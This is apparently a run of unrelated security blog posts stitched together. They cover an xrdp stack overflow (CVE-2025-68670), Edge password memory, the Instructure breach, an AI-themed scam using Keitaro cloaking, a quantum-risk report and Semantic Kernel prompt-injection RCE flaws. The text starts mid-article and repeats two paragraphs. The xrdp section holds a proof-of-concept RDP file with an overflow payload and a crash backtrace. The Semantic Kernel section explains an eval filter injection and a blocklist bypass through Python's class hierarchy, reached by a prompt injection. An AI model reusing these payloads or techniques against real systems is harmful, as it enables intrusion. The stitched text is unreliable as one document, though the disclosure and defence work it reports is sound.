xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

Some time ago, we discussed whether you should allow your browser to remember your passwords.

In that article we mentioned the importance of encryption.

“With a browser password manager, someone with access to your browser could see your passwords in clear text, although Windows can be set to ask for authentication (the same you use at startup of your device).”

The typical behavior of browser password managers is to store passwords encrypted on disk, tied to your user account, and protected by the operating system.

But recently, a security researcher systematically tested every major Chromium-based browser for how they handle credentials in memory. The researcher found that Edge was the only one loading the entire password vault into plaintext process memory at startup, where it remains for the duration of the session.  

Chrome and other Chromium browsers were observed to only decrypt a password when needed (autofill or “show password”), not the whole vault, and to use mechanisms like app‑bound encryption for keys. Edge does not use those protections in this context.

So, the researcher decided to write a proof-of-concept (PoC) demonstrating that accessing that vault doesn’t rely on zero-days or complex exploitation. It relies on the relatively simple ability to read process memory, which does require elevated privileges.

But when the researcher reported the issue to Microsoft, the response was underwhelming. The company’s official response was that the behavior is “by design.” The reasoning most likely is that this behavior speeds up sign‑in and autofill, and attackers would already need a compromised machine or elevated access to read RAM, which Microsoft treats as out of scope for this design decision.

Which is basically true. An attacker already needs significant foothold: for example, code execution on the box and the ability to read Edge’s process memory, often requiring elevated privileges. This is not a remote, unauthenticated bug in the browser, but the design makes post‑compromise credential harvesting easier. And it’s a capability many infostealers already have.

It’s just another thing an attacker can do once they’ve compromised your machine. Combined with this academic study from 2024, which found many password managers leak plaintext passwords into memory under some conditions, it leads us to repeat our advice.

Should you allow your browser to remember your passwords?

Your browser password manager gives you ease of use, but that costs you some security. Of course, password managers aren’t foolproof either, so it’s important to decide for yourself where you store your passwords.

If you’re confident the website is safe, and anyone that can access it under your account won’t learn anything new, feel free to store the password in your browser, but disable autofill so you stay in control.

Use MFA where possible. It enormously reduces the risk should someone get hold of your password. And refrain from using the browser password manager to store your credit card details or other sensitive personally identifiable information, such as medical information.

But we’d add that, among the major browsers, Edge appears to be the weakest option if you still choose to use a built‑in password manager.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Days after confirming a major data breach, Instructure is now facing a second blow.

Earlier this week, Instructure confirmed a major data breach affecting its cloud‑hosted Canvas environment, with the ShinyHunters group claiming it stole hundreds of millions of records tied to thousands of schools and universities worldwide. As discussed in our earlier blog, that incident involved data such as student and staff records, enrollment details, and private messages allegedly accessed through Canvas export features and APIs. At that stage, the focus was on large‑scale data theft and the long‑term risks for affected students and families, including identity fraud and highly targeted phishing.

According to new reporting, ShinyHunters has now hit Instructure again, this time moving from quiet data theft to very visible extortion. Using another vulnerability in Instructure’s systems, the attackers were able to modify Canvas login portals for hundreds of educational institutions, defacing both web logins and the Canvas app with an on‑screen ransom message.

The message both claimed responsibility for the earlier breach and set a deadline of May 12 for Instructure and affected schools to contact the gang or risk the public release of stolen data.

This second wave matters for two reasons. First, it confirms that ShinyHunters still has meaningful access to Instructure’s environment, or at least to components that control the look and behavior of school login pages. Second, it marks a clear escalation in pressure tactics, from leaked claims and dark web posts to messages shown directly to students, parents, and staff trying to access their courses.

How to deal with this data breach

For students and families, the practical advice from our original blog still applies:

• Reset Canvas‑related passwords
• Enable multi‑factor authentication where possible
• Monitor financial and credit activity as children get older
• Stay wary of highly personalized phishing that references real schools, courses, or teachers

For schools and districts, this latest extortion campaign underlines the need to coordinate closely with Instructure, review single sign-on (SSO) integrations, and prepare clear communications so that any future defacements or data leaks do not catch staff and parents by surprise.

“One of the best cybersecurity suites on the planet.” 

According to CNET. Read their review →

Researchers tracked a large AI‑themed investment scam campaign involving more than 15,000 domains. It uses cloaking and deepfakes to hide from security tools while targeting ordinary users.

Criminals abused the Keitaro ad-tracking platform as part of a cloaking system so real victims see scam content, while security scanners, ad reviewers, and some random visitors see harmless pages, making the operation hard to detect and shut down.

Keitaro is a commercial tracking platform originally meant for digital marketers to manage ad campaigns, test which ads work best, and route visitors to different landing pages.

Because it is feature rich, easy to spin up on regular hosting, and built to filter and route traffic, criminals found they can abuse those capabilities to run scams at scale.

Traffic starts in many places. The scammers used compromised websites, spam emails, social media posts, and online ads, all quietly routing through the same tracking infrastructure.

The scam sites typically promise “Smart AI Trading Technology” or “Intelligent Trading Solutions” and claim consistently high returns, often reinforced with deepfake images or fabricated media to look more credible.

Some parts of the campaign now use deepfake videos and fake interviews with well-known public figures, making it look like a celebrity, or finance expert personally endorses the platform.

Once you follow a link, the cloaking part of the operation kicks in. Cloaking is the trick that makes these scams so hard to see from the outside.

When you click an ad or link, your visit passes through a traffic distribution system (TDS), a kind of router for web visitors that decides which page you see. In these cases, the TDS is connected to the tracker.

The system checks things like:

• Your country/region
• Your device and browser
• Where you came from (Facebook ad, Google ad, email link, etc.)
• Sometimes your IP address reputation or other subtle fingerprints

You’re shown the real investment scam landing page only if you match the “ideal victim” profile (for example, a regular consumer in a target country coming from a social media ad).

Everyone else, like a security researcher, ad platform reviewer, or automated scanner, gets shown a benign page, like a generic blog or placeholder site.

How to stay safe

The best way to stay safe is to stay informed about the tricks scammers use. Learn to spot the red flags that almost always give away scams and phishing emails, and remember:

• There is no such thing as a risk-free, consistently profitable investment. If you’re looking to invest, navigate directly to known, regulated financial institutions.
• Deepfakes are very convincing nowadays, so you will hardly be able to tell the difference between the real celebrity and their deepfake persona.
• Don’t act upon unsolicited investment advice, whether it reaches you by email, social media, or sponsored search results.
• Use an up-to-date, real-time anti-malware solution with a web protection component or a reputable tracking and ad-blocker.
• Don’t act on impulse or under time pressure. Always properly research where your money will be going.

Pro tip: Malwarebytes Scam Guard can help you recognize and analyze scams.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Summary

• Quantum computing is moving from theory toward early practical use, with direct implications for encryption, authentication, and long-term data confidentiality.
• The primary risk is the eventual emergence of cryptographically relevant quantum computers (CRQCs), which would break today’s public-key cryptography and undermine encryption, digital identity, and software trust at scale.
• Quantum risk is already present: “harvest now, decrypt later” activity exposes long-lived sensitive data today, regardless of when CRQCs ultimately arrive.
• Regulatory mandates and procurement standards are accelerating post-quantum cryptography (PQC) adoption, making quantum readiness a multi-year compliance and resilience priority.
• Organizations that delay preparation beyond 2026 are likely to face compressed migration timelines, higher transition costs, and increased operational disruption.

Quantum Computing Explained

Quantum computing applies principles of physics to solve certain complex problems far more efficiently than classical computers. Its security relevance lies primarily in cryptanalysis and optimization: A sufficiently powerful quantum computer will reduce the calculations required to protect today's public-key encryption from thousands of years to hours or less. Researchers have used the term “Q-Day” to refer to the hypothetical point at which quantum computers will be powerful enough to break encryption.

Quantum computing is now moving from theory toward early practical use, bringing “Q-Day” closer to reality. Industry estimates suggest quantum computing alone could generate up to $1.3 trillion in value by 2035. Major cloud providers, including IBM, Google, and Microsoft, are expanding their quantum services, while specialised firms such as Quantinuum and PsiQuantum continue to improve system stability and error correction. While these advances are not yet transformative, they are consistent with the early stages of commercial adoption.

Figure 1: Key risks of quantum computing (Source: Recorded Future)

Alongside its potential benefits across finance, pharmaceuticals, defense, and other sectors, quantum computing introduces four key security risks.

Risk 1: Breaking Public-Key Encryption

Figure 2: Potential impacts of breaking public-key encryption (Source: Recorded Future)

The most critical risk is the eventual arrival of cryptographically relevant quantum computers (CRQCs), systems capable of breaking widely used public-key algorithms such as RSA, Elliptic Curve Cryptography (ECC), and Diffie-Hellman. These algorithms underpin internet communications (Transport Layer Security [TLS], virtual private networks [VPNs], Secure Shell [SSH]), identity and access management, industrial and internet-of-things (IoT) systems, and the integrity of software supply chains.

If broken, threat actors could decrypt sensitive data, impersonate trusted systems, and undermine digital authentication. This could enable:

• Forged digital signatures
• Compromised code-signing pipelines
• Spoofed websites, identities, and certificates
• Manipulated financial transactions and legal documents

Risk 2: Harvest Now, Decrypt Later (HNDL)

Figure 3: “Harvest now, decrypt later” workflow (Source: Recorded Future)

Although cryptographically relevant quantum computers (CRQCs) may still be years away, the risk is already materializing through “harvest now, decrypt later” (HNDL) activity. State-sponsored threat actors are likely collecting and storing encrypted data today with the intent to decrypt it once quantum capabilities mature. A 2021 Booz Allen Hamilton assessment found that Chinese economic espionage operations are likely targeting encrypted data with long-term intelligence value, including biometric identifiers, covert source identities, and weapons designs.

Large-scale routing manipulation offers one method for intercepting such data. Researchers at the US Naval War College and Tel Aviv University documented systematic Border Gateway Protocol (BGP) hijacking by China Telecom between 2016 and 2019, which redirected traffic from US, Canadian, and Scandinavian networks through Chinese infrastructure. These types of operations align with a long-term HNDL collection strategy.

Under the HNDL model, exposure occurs at the moment data is transmitted or stored, not when it is eventually decrypted. The primary risk, therefore, centers on long-lived data: information that must remain confidential for a decade or more, or whose sensitivity does not diminish over time, such as government and national security records, intellectual property and trade secrets, personal identifiers, financial data, biometric templates, healthcare records, and legal archives. For these data classes, compromise may not be immediately visible, but once decrypted, the consequences are irreversible. As a result, organizations holding long-lived sensitive data face near-term strategic risk regardless of when CRQCs become operational.

Large-scale routing manipulation offers one method for intercepting such data. Researchers at the US Naval War College and Tel Aviv University documented systematic Border Gateway Protocol (BGP) hijacking by China Telecom between 2016 and 2019, which redirected traffic from US, Canadian, and Scandinavian networks through Chinese infrastructure. These types of operations align with a long-term HNDL collection strategy.

Under the HNDL model, exposure occurs at the moment data is transmitted or stored, not when it is eventually decrypted. The primary risk, therefore, centers on long-lived data: information that must remain confidential for a decade or more, or whose sensitivity does not diminish over time, such as government and national security records, intellectual property and trade secrets, personal identifiers, financial data, biometric templates, healthcare records, and legal archives. For these data classes, compromise may not be immediately visible, but once decrypted, the consequences are irreversible. As a result, organizations holding long-lived sensitive data face near-term strategic risk regardless of when CRQCs become operational.

Risk 3: Quantum-Accelerated Brute-Force Attacks (Grover’s Algorithm)

Quantum computing does not break modern symmetric encryption outright, but it can accelerate search-intensive tasks through techniques such as Grover’s algorithm. This reduces defender reaction time and increases the effectiveness of weak or legacy cryptographic implementations. In practice, this could enable faster brute-force attempts against outdated encryption, quicker identification of exposed secrets or misconfigurations, and more efficient malware tuning and exploit development.

Recent demonstrations, such as Silicon Quantum Computing’s high-accuracy implementation on a four-qubit processor, remain limited in scale but reflect steady progress toward these capabilities. However, Grover’s algorithm is constrained by high hardware requirements and limited parallelization. As a result, modern symmetric algorithms such as AES-128/192/256 are expected to remain secure for the foreseeable future, while environments with poor cryptographic hygiene will be affected first.

Risk 4: Quantum- and AI-Enhanced Vulnerability Discovery

Quantum capability will not develop in isolation. As quantum systems improve optimization and search performance, and AI automates reconnaissance, exploit development, and lateral movement, adversaries are likely to operate at unprecedented speed and scale. Rather than identifying isolated weaknesses, attackers could rapidly map entire attack surfaces, chain misconfigurations, and deploy optimized malware variants in near real time. Research from 2024 demonstrates that machine-learning classifiers can already recover full cryptographic keys from PQC implementations using only a few hundred power traces, underscoring that even post-quantum algorithms will require hardened deployment.

This convergence of AI and quantum technologies could significantly increase an attacker's operational tempo and amplify the impact of individual security lapses. The risk is compounded by the fact that a rising number of organizations carry substantial security debt, with many reporting slow remediation cycles that leave vulnerabilities exposed for extended periods.

When Will CRQCs Arrive?

There is no definitive timeline for CRQCs. Most projections place their arrival in the mid-to-late 2030s, with credible breakthroughs possible earlier in the decade. These estimates should be treated with caution: forecasting is inherently uncertain because progress in quantum error correction and qubit scaling occurs in uneven advances rather than linear progression.

For security leaders, the precise date of “Q-Day” is less important than the lifecycle of deployed systems. Infrastructure implemented today may remain operational when CRQCs emerge. Current cryptographic decisions are therefore future-binding.

Under the HNDL model, quantum risk is already material for long-lived data. Preparedness, visibility, and cryptographic agility matter more than timeline prediction.

Figure 4: No definitive timeline for CRQCs (Source: Recorded Future)

How Should Organizations Prepare?

The transition to post-quantum cryptography (PQC) is no longer a theoretical exercise. It is increasingly driven by regulation, procurement requirements, and emerging industry norms. These developments should be interpreted as operational signals necessitating forward planning.

In the US, the Quantum Computing Cybersecurity Preparedness Act requires federal agencies to inventory quantum-vulnerable cryptography and develop migration plans. NIST’s 2024 PQC standards now set the baseline for federal procurement and are rapidly becoming global reference points. In parallel, Commercial National Security Algorithm (CNSA) 2.0 defines approved algorithms and transition timelines for national security systems, with full migration targeted by 2035. Similar momentum is building in Europe. The EU Cybersecurity Act and national quantum-preparedness strategies are accelerating early adoption, particularly across critical infrastructure sectors such as energy and transportation.

Although many of these mandates formally apply to public-sector systems, their practical impact extends well beyond government. Procurement requirements and supply-chain expectations are translating policy into commercial pressure. As a result, cryptographic inventory, structured migration planning, vendor alignment, and crypto-agility are likely to become baseline governance expectations rather than optional best practices. Boards are beginning to treat quantum risk as a strategic planning issue, not a distant technical concern, with some sectors allocating dedicated quantum-security budgets approaching 5% of total cybersecurity spend to support preparation.

Industry coordination further reinforces this direction of travel. Financial institutions, payment networks, and telecommunications providers are forming quantum-readiness working groups to align migration timelines and manage shared dependencies. SWIFT is developing PQC migration guidance for its global messaging network, and Mastercard has released a PQC migration white paper outlining practical transition steps.

Figure 5: Planning for the uncertain arrival of CRQCs (Source: Recorded Future)

As the HNDL risk window narrows, organizations that begin structured preparation now are likely to manage transition risk deliberately and cost-effectively. Security leaders should ensure they understand where quantum-vulnerable cryptography resides, how regulatory obligations may cascade through customers and partners, and whether critical suppliers have credible PQC transition roadmaps. Those that delay risk compressed timelines, regulatory pressure, and materially higher transition costs later in the decade. Specific technical and governance steps are detailed in the Mitigations section.

Outlook

HNDL activity will continue to expand.
State-sponsored threat actors are highly likely to increase long-term interception and storage of encrypted data, particularly from sectors handling information with long confidentiality lifetimes. Even as storage economics fluctuate, scalable interception infrastructure and economically sustainable long-term storage models enable continued accumulation of high-value encrypted material. Demonstrated routing manipulation capabilities further support persistent collection at scale, ensuring exposure continues to build regardless of when CRQCs ultimately arrive.

Attacker operational tempo will increase.
The convergence of AI-enabled automation with quantum-accelerated search and optimization is likely to compress defender response windows and amplify the impact of existing security debt. Organizations reliant on legacy cryptography and slow remediation cycles will feel this pressure first.

Regulatory and procurement pressure will intensify.
Post-quantum readiness is increasingly likely to become a baseline requirement for regulated markets, government contracts, and high-trust supply chains. US and European initiatives are formalizing transition timelines, and these mandates will propagate through vendor ecosystems, reframing quantum preparedness as a competitive requirement rather than a discretionary control.

Migration risk will become a primary enterprise challenge.
Organizations that delay cryptographic inventories and crypto-agility investments are likely to face compressed transition timelines, higher costs, and greater operational disruption as standards mature and vendor dependencies shift.

Mitigations

Organizations should treat quantum resilience as a phased program aligned to visibility, flexibility, and systemic risk reduction, with leaders actively testing assumptions at each stage.

Short-term (2026): Establish visibility and prioritization

Security teams should maintain a comprehensive cryptographic inventory, identifying quantum-vulnerable algorithms across applications, infrastructure, and third-party dependencies, as well as public key infrastructure (PKI), operational technology, and IoT environments, and mapping them to data sensitivity and confidentiality requirements.

Leaders should be asking:

• Do we have an enterprise-wide inventory of where quantum-vulnerable cryptography is embedded, including in legacy and third-party systems?
• Which data assets must remain confidential for a decade or more, and are they currently protected by algorithms likely to be broken by CRQCs?

Medium-term (2026–2028): Enable flexibility

Organizations should design for cryptographic agility, ensuring that new systems and major upgrades allow algorithm replacement without architectural redesign. Vendors supporting long-lived products should provide credible PQC transition roadmaps aligned to emerging standards.

Leaders should be asking:

• Are we continuing to deploy systems that hard-code cryptographic algorithms, thereby increasing future migration risk?
• Do our critical suppliers have credible, time-bound PQC transition plans, and how exposed would we be if they fell behind?

Long-term (2028-onwards): Reduce systemic exposure

Migration should prioritize long-lived data and high-trust functions, including identity infrastructure, code signing, certificate management, secure build pipelines, and critical third-party software. Strengthening software and supply-chain integrity will be essential to minimizing cascading risk during transition.

CISOs should be asking:

• Which enterprise trust anchors (for example, certificate authorities, signing keys, or hardware security modules) would create systemic impact if rendered vulnerable in a post-quantum scenario?
• Can we rotate and replace cryptographic components at scale without operational disruption if migration timelines compress unexpectedly?

Recorded Future intelligence can support these efforts by tracking emerging cryptographic risks through our Threat Intelligence Module, identifying exposed dependencies through our Attack Surface Intelligence, and assessing third-party quantum readiness as standards and vendor capabilities evolve through our Third-Party Intelligence Module.

Risk Scenario

GridCore Systems is a US-based provider of industrial control systems (ICS) and grid-management software for electric utilities nationwide. The firm relies on quantum-vulnerable public-key cryptography (RSA/ECC) for remote access, software signing, and secure data exchange with utilities and regulators, and has not yet completed a post-quantum cryptographic transition.

First-Order Implications

Second-Order Implications

Third-Order Implications

AI agents have fundamentally changed the threat model of AI model-based applications. By equipping these models with plugins (also called tools), your agents no longer just generate text; they now read files, search connected databases, run scripts, and perform other tasks to actively operate on your network.

Because of this, vulnerabilities in the AI layer are no longer just a content issue and are an execution risk. If an attacker can control the parameters passed into these plugins via prompt injection, the agent may be driven to perform actions beyond its intended use.

The AI model itself isn’t the issue as it’s behaving exactly as designed by parsing language into tool schemas. The vulnerability lies in how the framework and tools trust the parsed data.

To build powerful applications, developers rely heavily on frameworks like Semantic Kernel, LangChain, and CrewAI. These frameworks act as the operating system for AI agents, abstracting away complex model orchestration. But this convenience comes with a hidden cost: because these frameworks act as a ubiquitous foundational layer, a single vulnerability in how they map AI model outputs to system tools carries systemic risk.

As part of our mission to make AI systems more secure and eliminate new class of vulnerabilities, we’re launching a research series focused on identifying vulnerabilities in popular AI agent frameworks. Through responsible disclosure, we work with maintainers to ensure issues are addressed before sharing our findings with the community.

In this post, we share details on the vulnerabilities we discovered in Microsoft’s Semantic Kernel, along with the steps we took to address them and interactive way to try it yourself. Stay tuned for upcoming blogs where we’ll dive into similar vulnerabilities found in frameworks beyond the Microsoft ecosystem.

Background

We discovered a vulnerable path in Microsoft Semantic Kernel that could turn prompt injection into host-level remote code execution (RCE).

A single prompt was enough to launch calc.exe on the device running our AI agent, with no browser exploit, malicious attachment, or memory corruption bug needed. The agent simply did what it was designed to do: interpret natural language, choose a tool, and pass parameters into code.

This scenario is the real security story behind modern AI agents. Once an AI model is wired to tools, prompt injection draws a thin line between being just a content security problem and becoming a code execution primitive. In this post in our research series on AI agent framework security, we show how two vulnerabilities in Semantic Kernel could allow attackers to cross that line, and what customers should do to assess exposure, patch affected agents, and investigate whether exploitation may already have occurred.

A representative case study: Semantic Kernel

Semantic Kernel is Microsoft’s open-source framework for building AI agents and integrating AI models into applications. With over 27,000 stars on GitHub, it provides essential abstractions for orchestrating AI models, managing plugins, and chaining workflows.

During our security research into the Semantic Kernel framework, we identified and disclosed two critical vulnerabilities: CVE-2026-25592 and CVE-2026-26030. These flaws, which have since been fixed, could allow an attacker to achieve unauthorized code execution by leveraging injection attacks specifically targeted at agents built within the framework.

In the following sections, we break down the mechanics of these vulnerabilities in detail and provide actionable guidance on how to harden your agents against similar exploitation.

CVE-2026-26030: In-Memory Vector Store

Exploitation of this vulnerability requires two conditions:

1. The attacker must have a prompt injection vector, allowing influence over the agent’s inputs
2. The targeted agent must have the Search Plugin backed by In-Memory Vector Store functionality using the default configuration

When both these two conditions are met, the vulnerability enables an attacker to achieve RCE from a prompt.

To demonstrate how this vulnerability could be exploited, we built a “hotel finder” agent  using Semantic Kernel. First, we created an In Memory Vector collection to store the hotels’ data, then exposed a search_hotels(city=…) function to the kernel (agent) so that the AI model could invoke it through tool calling.

When a user inputs, for example, “Find hotels in Paris,” the AI model calls the search plugin with city=”Paris”. The plugin then first runs a deterministic filter function to narrow down the dataset and computes vector similarity (embeddings).

With this understanding of how a Semantic Kernel agent performs the search, let’s dive deep into the vulnerability.

Issue 1: Unsafe string interpolation

The default filter function that we mentioned previously is implemented as a Python lambda expression executed using eval(). In our example, The default filter will result to new_filter = “lambda x: x.city == ‘Paris'”.

The vulnerability is that kwargs[param.name] is AI model-controlled and not sanitized. This acts as a classic injection sink. By closing the quote (‘) and appending Python logic, an attacker could turn a simple data lookup into an executable payload:

• Input: ‘ or MALICIOUS_CODE or ‘
• Result: lambda x: x.city == ” or MALICIOUS_CODE or ”

Issue 2: Avoidable blocklist

The framework developers anticipated this RCE risk and implemented a validator that parses the filter string into an Abstract Syntax Tree (AST) before execution.

Before running a user-provided filter code, the application runs a validation function designed to block unsafe operations. At a high level, the validation does the following:

1. It only allows lambda expressions. It rejects outright any attempt to pass full code blocks (such as import statements or class definitions).
2. It scans every element in the code for dangerous identifiers and attributes that could enable arbitrary code execution (for example, strings like eval, exec, open, __import__, and similar ones). If any of these identifiers appear, the code is rejected.
3. If the code passes both checks, it is executed in a restricted environment where Python’s built-in functions (like open and print) are deliberately removed. So even if something slips through, it shouldn’t have access to dangerous capabilities.

The resulting lambda is then used to filter records in the Vector Store.

While this approach is solid in theory, blocklists in dynamic languages like Python are inherently fragile because the language’s flexibility allows restricted operations to be reintroduced through alternate syntax, libraries, or runtime evaluation.

We found a way to bypass this blocklist implementation through a specially crafted exploit prompt.

Exploit

Our exploit prompt was designed to manipulate the agent into triggering a Search Plugin invocation with an input that ultimately leads to malicious code execution:

This prompt circumvented the agent to trigger the following function calling:

As result, the lambda function was formatted as the following and executed inside eval(). This payload escaped the template string, traversed Python’s class hierarchy to locate BuiltinImporter, and used it to dynamically load os and call system(). These steps bypassed the import blocklists to launch an arbitrary shell command (for example, calc.exe) while keeping the template syntax valid with a clean closing expression.

The filter function didn’t block the payload because of the following reasons:

1. Missing dangerous names

The payload used several attributes that weren’t in the blocklist:

• __name__  – Used to find BuiltinImporter by name
• load_module – The method that imports modules
• system – The method that executes shell commands
• BuiltinImporter – The class itself

2. Structural check passes

The payload was wrapped inside a valid lambda expression. The check isinstance(tree.body, ast.Lambda) passed because the entire thing is in itself a lambda that just happens to contain malicious code in its body.

3. Empty __builtins__ is irrelevant
The eval() call used {“__builtins__”: {}} to remove access to built-in functions. However, this protection was meaningless because the payload never used built-ins directly. Instead, it started with tuple(), which exists regardless of the builtins environment, and crawled through Python’s type system to reach dangerous functionality.

4. No ast.Subscript checking
While not used in this payload, it’s worth noting that the filter only checked ast.Name and ast.Attribute nodes. If the payload needed to use a blocked name, it could’ve accessed it using bracket notation (for example, obj[‘__class__’] instead of obj.__class__), which creates an ast.Subscript node that the validation completely ignored.

Mitigation

After responsibly disclosing the vulnerability to MSRC, the Microsoft Semantic Kernel team implemented a comprehensive fix using four layers of protection to eliminate every escape primitive needed to turn a lambda filter into executable code:

• AST node-type allowlist – Permits only safe constructs like comparisons, boolean logic, arithmetic, and literals.
• Function call allowlist – Checks even allowed AST call nodes to ensure only safe functions can be invoked.
• Dangerous attributes blocklist – Blocks class hierarchy traversal (for examples, __class__, __subclasses__).
• Name node restriction – Allows only the lambda parameter (for example, x) as a bare identifier and rejects references to os, eval, type, and others.

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-26030 if it meets all of the following conditions:

• It uses the Python package semantic-kernel.
• It’s running a framework version prior to 1.39.4.
• It uses the In-Memory Vector Store and relies on its filter functionality (when acting as the backend for the Search Plugin using default configurations).

What to do if I am affected?

You don’t need to rewrite your agent. Upgrading the Python semantic-kernel dependency to version 1.39.4 or higher mitigates the risk.

What about the time that my agent was vulnerable?

While patching closes the bug, but it doesn’t answer the retrospective question defenders care about: whether their agent was exploited before they upgraded.

First, define the vulnerable window for each affected deployment: from the moment a vulnerable Semantic Kernel Python version was deployed until the moment version 1.39.4 or later was installed. Any investigation should focus on that time range.

